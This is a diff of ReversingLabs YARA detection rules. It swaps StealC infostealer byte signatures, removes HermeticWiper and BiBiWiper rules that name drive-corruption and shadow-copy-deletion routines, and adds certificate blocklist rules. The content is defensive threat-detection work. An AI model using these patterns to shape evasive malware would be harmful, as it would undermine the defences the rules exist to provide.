+		tc_detection_type = "Infostealer"
+		tc_detection_name = "StealC"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$decrypt_resource_v1 = {
-            55 8B EC 83 EC ?? 53 8B D9 8B C2 56 57 89 45 ?? 8B 3B 33 F8 8B C7 89 7D ?? 83 E0 ??
-            75 ?? 8D 77 ?? EB ?? 8B F7 2B F0 83 C6 ?? 8D 0C 36 E8 ?? ?? ?? ?? 8B D0 89 55 ?? 85
-            D2 74 ?? 83 65 ?? ?? 8D 43 ?? 83 65 ?? ?? C1 EE ?? 8D 0C B0 8B F2 8B D9 2B D8 83 C3
-            ?? C1 EB ?? 3B C1 0F 47 5D ?? 85 DB 74 ?? 8B 55 ?? 8B F8 8B 0F 8D 7F ?? 33 CA 0F B6
-            C1 66 89 06 8B C1 C1 E8 ?? 8D 76 ?? 0F B6 C0 66 89 46 ?? C1 E9 ?? 0F B6 C1 66 89 46
-            ?? C1 E9 ?? 0F B6 C1 66 89 46 ?? 8B 45 ?? 40 89 45 ?? 3B C3 72 ?? 8B 7D ?? 8B 55 ??
-            33 C0 66 89 04 7A 5F 5E 8B C2 5B 8B E5 5D C3
-        }
-		$generate_filename_v1 = {
-            56 57 33 C0 BF ?? ?? ?? ?? 57 50 50 6A ?? 50 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8B F0 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
-            ?? 83 C4 ?? 8B CE 5F 5E E9
-        }
-		$decrypt_resource_v2 = {
-            55 8B EC 83 EC ?? 8B 41 ?? 8B 11 33 C2 53 56 8D 71 ?? 89 55 ?? 8D 58 ?? 89 45 ?? 83
-            C6 ?? F6 C3 ?? 74 ?? 83 E3 ?? 83 C3 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ??
-            8B C8 E8 ?? ?? ?? ?? FF D0 8D 14 1B B9 ?? ?? ?? ?? 52 6A ?? 50 E8 ?? ?? ?? ?? BA ??
-            ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? FF D0 89 45 ?? 85 C0 74 ?? C1 EB ?? 8B C8 57 33 C0 8D
-            14 9E 33 DB 8B FA 2B FE 83 C7 ?? C1 EF ?? 3B F2 0F 47 F8 85 FF 74 ?? 8B 16 8D 49 ??
-            33 55 ?? 8D 76 ?? 0F B6 C2 43 66 89 41 ?? 8B C2 C1 E8 ?? 0F B6 C0 66 89 41 ?? C1 EA
-            ?? 0F B6 C2 66 89 41 ?? C1 EA ?? 0F B6 C2 66 89 41 ?? 3B DF 72 ?? 8B 45 ?? 33 D2 8B
-            4D ?? 5F 66 89 14 41 8B C1 5E 5B 8B E5 5D C3
-        }
-		$generate_filename_v2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 51 6A ?? B9 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? FF D0 85 C0 0F 88 ?? ?? ?? ?? 56
-            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 8D [1-5] 51
-            51 50 56 8D [1-5] 68 ?? ?? ?? ?? 51 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B
-            C8 E8 ?? ?? ?? ?? FF D0 83 C4 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8
-            E8 ?? ?? ?? ?? FF D0 56 6A ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8
-            E8 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 5E 8B E5 5D C3 33 C0 8B E5 5D C3
-        }
-		$decrypt_resource_v3 = {
-            56 8B F1 BA [6-9] B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF D0 56 6A ?? 50 68 ?? ?? ?? ??
-            BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF D0 5E C3
-        }
-		$generate_filename_v3 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F1 8B FA 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? BB ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 8D 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B D3 56 50 BE ?? ?? ?? ?? [2-5] 8B CE E8 ??
-            ?? ?? ?? 59 FF D0 57 8D 85 ?? ?? ?? ?? 8B D3 50 [2-5] 8B CE E8 ?? ?? ?? ?? 59 FF D0
-            8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9
-            ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? 66 89 45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 59 FF D0 F7 D8 5F 1B C0 5E 40 5B 8B E5 5D C3
-        }
-		$decrypt_resource_v4 = {
-            56 57 8B FA E8 ?? ?? ?? ?? 8B F0 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 8B 0D ?? ?? ?? ??
-            89 44 B9 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ??
-            8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF D0 8B F8 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 6A ?? 57
-            FF D0 5F 5E C3
-        }
-		$generate_filename_snippet_v4 = {
-            A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ??
-            ?? ?? ?? A3 ?? ?? ?? ?? 56 53 FF D0 A1 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 5F 5E 33 C9 8D
-            04 43 66 89 08 5D 5B 59 C3
-        }
-		$decrypt_resource_snippet_v5 = {
-            C1 EE ?? 33 C0 55 33 ED 8B D3 8D 0C B7 8B F1 2B F7 83 C6 ?? C1 EE ?? 3B F9 0F 47 F0
-            85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 0F B6 C1 66 89 02 8B C1 C1 E8 ?? 8D 52
-            ?? 0F B6 C0 66 89 42 ?? C1 E9 ?? 0F B6 C1 C1 E9 ?? 45 66 89 42 ?? 0F B6 C1 66 89 42
-            ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 33 C9 5D 66 89 0C 43 5F 5E 8B C3 5B 83 C4 ??
-            C3
-        }
-		$decrypt_resource_snippet_v6 = {
-            C1 EE ?? 33 C0 55 33 ED 8B D3 8D 0C B7 8B F1 2B F7 83 C6 ?? C1 EE ?? 3B F9 0F 47 F0
-            85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 88 0A 8B C1 C1 E8 ?? 8D 52 ?? C1 E9 ??
-            88 42 ?? 88 4A ?? C1 E9 ?? 45 88 4A ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 5D C6 04
-            03 ?? 5F 5E 8B C3 5B 83 C4 ?? C3
-        }
-		$liblzf_decompression_1 = {
-            83 EC ?? 8B 44 24 ?? 53 55 8D 2C 11 89 4C 24 ?? 8B 54 24 ?? 33 DB 03 C2 89 6C 24 ??
-            56 89 44 24 ?? 0F B6 41 ?? 8D 72 ?? 0F B6 11 C1 E2 ?? 0B D0 8D 45 ?? 89 44 24 ?? 57
-            8B F9 3B C8 0F 83 ?? ?? ?? ?? 0F B6 47 ?? C1 E2 ?? 0B D0 6B C2 ?? 8B CA C1 E9 ?? 33
-            CA 89 54 24 ?? 8B 54 24 ?? C1 E9 ?? 2B C8 8B 44 24 ?? 81 E1 ?? ?? ?? ?? 8B 2C 88 8B
-            C7 2B 44 24 ?? 03 6C 24 ?? 89 04 8A 8B C7 8B 54 24 ?? 2B C5 48 89 44 24 ?? 3D ?? ??
-            ?? ?? 0F 8D ?? ?? ?? ?? 3B EA 0F 86 ?? ?? ?? ?? 8A 45 ?? 3A 47 ?? 0F 85 ?? ?? ?? ??
-            0F B6 55 ?? 8D 4F ?? 0F B6 45 ?? 89 4C 24 ?? 0F B6 09 C1 E2 ?? 0B D0 C1 E1 ?? 0F B6
-            07 0B C8 3B D1 0F 85 ?? ?? ?? ?? 8B 44 24 ?? B9 ?? ?? ?? ?? 2B C7 3B C1 6A ?? 0F 47
-            C1 89 44 24 ?? 8D 46 ?? 5A 3B 44 24 ?? 72 ?? 33 C9 8B C6 85 DB 0F 94 C1 2B C1 83 C0
-            ?? 3B 44 24 ?? 0F 83 ?? ?? ?? ?? 8B C6 8D 4B ?? 2B C3 88 48 ?? 33 C0 85 DB 8B 5C 24
-            ?? 0F 94 C0 2B F0 83 FB ?? 0F 86 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ??
-            ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85
-            ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47
-        }
-		$liblzf_decompression_2 = {
-            0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A
-            47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45
-            ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47
-            ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ??
-            6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8D 0C 3A 2B EF 42 41 3B D3
-            73 ?? 8A 04 29 3A 01 74 ?? 8B 5C 24 ?? 83 EA ?? 83 FA ?? 73 ?? 8B CB 8A C2 C1 F9 ??
-            C0 E0 ?? 02 C8 88 0E 46 EB ?? 8B C3 C1 F8 ?? 2C ?? 88 06 8D 42 ?? 88 46 ?? 83 C6 ??
-            8B 7C 24 ?? 8B 44 24 ?? 47 88 1E 03 FA 33 DB 83 C6 ?? 3B F8 72 ?? 8B 6C 24 ?? 8D 46
-            ?? 3B 44 24 ?? 76 ?? 33 C0 EB ?? 3B 74 24 ?? 73 ?? 8A 07 43 88 06 46 8B 44 24 ?? 47
-            83 FB ?? 75 ?? C6 46 ?? ?? 33 DB 46 3B F8 73 ?? 8B 54 24 ?? E9 ?? ?? ?? ?? 8A 07 43
-            88 06 46 47 83 FB ?? 75 ?? C6 46 ?? ?? 33 DB 46 3B FD 72 ?? 8B CE 8D 53 ?? 2B CB 88
-            51 ?? 33 C9 85 DB 0F 94 C1 2B F1 2B 74 24 ?? 8B C6 5F 5E 5D 5B 83 C4 ?? C3
+		$resolve_windows_api = {
+            55 8B EC 51 83 65 ?? ?? 56 64 A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B 00 8B 40 ??
+            89 45 ?? 8B 75 ?? 89 35 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? A3 ?? ?? ?? ?? 56 FF D0 FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35
         }
-		$decrypt_resource_snippet_v7 = {
-            C1 EE ?? 3B F9 0F 47 F0 85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 0F B6 C1 66 89
-            02 8B C1 C1 E8 ?? 8D 52 ?? 0F B6 C0 66 89 42 ?? C1 E9 ?? 0F B6 C1 C1 E9 ?? 45 66 89
-            42 ?? 0F B6 C1 66 89 42 ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 33 C9 5D 66 89 0C 43
-            5F 5E 8B C3 5B 83 C4 ?? C3
+		$load_sqlite3_functions = {
+            55 8B EC 83 EC ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 50 89 45 ?? 89 4D ?? 8B 4D ?? 8D
+            45 ?? 50 89 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 45 ?? 57 89 45 ?? 8B 7D ??
+            B9 ?? ?? ?? ?? 33 C0 F3 AA 5F 33 C0 C9 C3 8B 45 ?? 85 C0 74 ?? 53 8B 58 ?? 56 8B 70
+            ?? FF 35 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ??
+            A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ??
+            ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3
         }
-		$state_machine_snippet_v7 = {
-            8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B
-            94 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8D 84 24
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B 54 24 ??
-            8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 94
-            24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 74 24
-            ?? 8B F0 FF B4 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? F7 DE 8B 94 24 ?? ?? ?? ?? 1B F6
-            81 E6 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ??
-            ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9
+		$check_license_expiration_date = {
+            55 8B EC 83 E4 ?? 83 EC ?? 57 33 C0 66 89 44 24 ?? 83 64 24 ?? ?? 8D 7C 24 ?? AB AB
+            AB 66 AB 33 C0 66 89 44 24 ?? 8D 7C 24 ?? AB AB AB 66 AB 33 C0 21 44 24 ?? 8D 7C 24
+            ?? AB 8D 7C 24 ?? AB 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 7C 24 ?? E8 ?? ?? ?? ?? 8D
+            4C 24 ?? 51 8D 4C 24 ?? 51 8D 4C 24 ?? 51 FF 35 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ??
+            8B 44 24 ?? 83 C4 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ??
+            8D 44 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 3B 44 24 ?? 72 ?? 77 ??
+            8B 44 24 ?? 3B 44 24 ?? 76 ?? 6A ?? FF 15 ?? ?? ?? ?? 5F 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($decrypt_resource_v1 and $generate_filename_v1) or ($decrypt_resource_v2 and $generate_filename_v2) or ($decrypt_resource_v3 and $generate_filename_v3) or ($decrypt_resource_v4 and $generate_filename_snippet_v4) or ($decrypt_resource_snippet_v5 and all of ($liblzf_decompression_*)) or ($decrypt_resource_snippet_v6 and all of ($liblzf_decompression_*)) or ($decrypt_resource_snippet_v7 and $state_machine_snippet_v7)
+		uint16(0)==0x5A4D and ($resolve_windows_api) and ($load_sqlite3_functions) and ($check_license_expiration_date)
 }
-rule REVERSINGLABS_Win32_Trojan_Hermeticwiper : TC_DETECTION MALICIOUS MALWARE FILE
+import "pe"
+
+rule REVERSINGLABS_Cert_Blocklist_05E2E6A4Cd09Ea54D665B075Fe22A256 : INFO FILE
 {
 	meta:
-		description = "Yara rule that detects HermeticWiper trojan."
+		description = "The digital certificate has leaked."
 		author = "ReversingLabs"
-		id = "252dfb3d-9d4e-51a4-80c9-64e17922d997"
-		date = "2022-02-24"
-		modified = "2022-02-24"
+		id = "824c6b2f-081a-5f38-b949-d802f59e6ced"
+		date = "2023-11-08"
+		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Win32.Trojan.HermeticWiper.yara#L1-L50"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0fa519ce8285ffe4e49c2a301e8a0fd0516a05dc6b41ee0b010fdc76dd6e195e"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L27-L43"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "43da21d9c7ae9bfcc7fe4ee69f9d46cbce1954785d56c1d424b36deb8afe592e"
 		score = 75
 		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		tags = "INFO, FILE"
 		status = "RELEASED"
 		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "HermeticWiper"
-		tc_detection_factor = 5
+		category = "INFO"
 		importance = 25
 
-	strings:
-		$corrupt_physical_drive = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 51 68 ?? ?? ?? ?? 0F 57 C0 89 55 ?? 8D 85 ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 F6 66 0F D6 45 ?? 33 FF 89 75 ?? 50 0F
-            11 45 ?? 89 7D ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 8D 55 ?? 8D 8D ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ??
-            BF ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8B F0 8D 45 ??
-            50 57 56 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ??
-            75 ?? 66 0F 1F 44 00 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 81 C7 ?? ??
-            ?? ?? 33 F6 81 FF ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 6A ?? 6A ?? 68 ??
-            ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 F6 0F 84 ?? ?? ??
-            ?? 8B 06 C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 C0 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ??
-            83 7E ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 55 ?? 8D 46 ?? 89 45 ?? 66 90
-            8B 00 85 C0 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 45 ?? 6A ?? 6A ?? FF 70 ?? FF 70
-            ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 57 53 FF
-            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 81 FA ?? ?? ?? ?? 72 ?? 66 83 7F ??
-            ?? 75 ?? 85 D2 0F B7 C2 B9 ?? ?? ?? ?? 0F 45 C8 66 89 4F ?? 8B 45 ?? FF 70 ?? FF 70
-            ?? FF 75 ?? FF 75 ?? 57 53 FF 55 ?? 8B 55 ?? 8B 4D ?? 8B 45 ?? 41 05 ?? ?? ?? ?? 89
-            4D ?? 89 45 ?? 3B 4E ?? 0F 82 ?? ?? ?? ?? 8B 7D ?? EB ?? FF 15 ?? ?? ?? ?? 33 FF 85
-            DB 74 ?? 83 FB ?? 74 ?? 53 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 F6 74 ?? 56 6A ??
-            FF D3 8B 35 ?? ?? ?? ?? 50 FF D6 EB ?? FF 15 ?? ?? ?? ?? 8B 7D ?? EB ?? 33 C0 5F 5E
-            5B 8B E5 5D C2 ?? ?? 8B 35 ?? ?? ?? ?? 85 FF 74 ?? 57 6A ?? FF D3 50 FF D6 8B 45 ??
-            5F 5E 5B 8B E5 5D C2
-        }
+	condition:
+		uint16(0)==0x5A4D and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "*.google.com" and pe.signatures[i].serial=="05:e2:e6:a4:cd:09:ea:54:d6:65:b0:75:fe:22:a2:56" and 1308182400<=pe.signatures[i].not_after)
+}
+import "pe"
+
+rule REVERSINGLABS_Cert_Blocklist_77019A082385E4B73F569569C9F87Bb8 : INFO FILE
+{
+	meta:
+		description = "Certificate used for digitally signing malware."
+		author = "ReversingLabs"
+		id = "4046a31b-d7c8-5c63-b5b2-2179b0817b03"
+		date = "2023-11-08"
+		modified = "2023-11-08"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L45-L61"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8613986005bdd30d92e633fa2058be5c43f1c530b9dc6d80ec953f12f6d66ce7"
+		score = 75
+		quality = 90
+		tags = "INFO, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "INFO"
+		importance = 25
 
 	condition:
-		uint16(0)==0x5A4D and ($corrupt_physical_drive)
+		uint16(0)==0x5A4D and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AND LLC" and pe.signatures[i].serial=="77:01:9a:08:23:85:e4:b7:3f:56:95:69:c9:f8:7b:b8" and 1308182400<=pe.signatures[i].not_after)
 }
-rule REVERSINGLABS_Win32_Trojan_Bibiwiper : TC_DETECTION MALICIOUS MALWARE FILE
+import "pe"
+
+rule REVERSINGLABS_Cert_Blocklist_4F2Ef29Ca5F96E5777B82C62F34Fd3A6 : INFO FILE
 {
 	meta:
-		description = "Yara rule that detects BiBiWiper trojan."
+		description = "The digital certificate has leaked."
 		author = "ReversingLabs"
-		id = "8462ceb8-ec54-5f92-a3e7-c96e52647ca7"
-		date = "2023-11-28"
-		modified = "2023-11-28"
+		id = "6cfb6ae0-8eba-503b-8bb7-ac72746d9aa2"
+		date = "2023-11-08"
+		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Win32.Trojan.BiBiWiper.yara#L1-L102"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "d75954c05a8f82ad90a4adf6a2a3748928488ddebe40d8f8a790bfcde0b02a11"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L63-L79"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "e8f27c4a72f416a16acabb1de606fdde7dc694256809fdb952a25313dda0d34e"
 		score = 75
 		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		tags = "INFO, FILE"
 		status = "RELEASED"
 		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "BiBiWiper"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$delete_shadow_copies_p1 = {
-            48 89 5C 24 ?? 55 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4
-            48 89 45 ?? 33 DB 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48
-            8D 4C 24 ?? 48 89 5C 24 ?? 44 8D 43 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24
-            ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F
-            43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C
-            24 ?? 48 2B D1 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ??
-            ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89
-            44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89
-            5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ??
-            FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8B 4C 24 ?? 48 FF C2 48 8B C1
-            48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? 48 83 C2 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ??
-            0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ??
-            ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 7C
-            24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48
-            83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48
-            8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57
-            C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44
-            24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44
-            24 ?? ?? ?? ?? ?? 89 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F 11 45 ?? 0F 11 45 ?? 0F
-        }
-		$delete_shadow_copies_p2 = {
-            11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8B 4C 24
-            ?? 48 FF C2 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? 48 83 C2 ?? 48 2B C1 48
-            83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 5C 24
